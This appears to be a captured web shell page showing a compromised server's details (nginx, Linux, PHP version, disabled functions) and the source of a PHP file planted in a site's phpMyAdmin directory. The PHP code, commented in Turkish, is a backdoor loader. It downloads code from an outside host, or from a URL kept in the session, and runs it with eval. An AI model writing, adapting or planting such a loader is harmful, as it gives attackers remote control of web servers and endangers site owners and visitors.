HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/pma/_452.php
<?php
// Oturumu başlat
session_start();

// Belirtilen URL'den içerik çeken fonksiyon
function fetchUrl($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    return curl_exec($ch);
}

// ASCII karakterlerinden URL oluşturuluyor (https://teamzedd2024.tech/raw/McuQGI)
$url = "https://simpleeeverything.com/usd/c.txt";

// Eğer oturumda daha önce URL varsa onu kullan, yoksa yukarıdaki URL'den veri çek
$result = isset($_SESSION["ts_url"]) ? @file_get_contents($_SESSION["ts_url"]) : fetchUrl($url);

// Çekilen veri bir string ise PHP kodu olarak çalıştır
if (is_string($result)) {
    eval('?>' . $result);
} else {
    echo "Error";
}
?>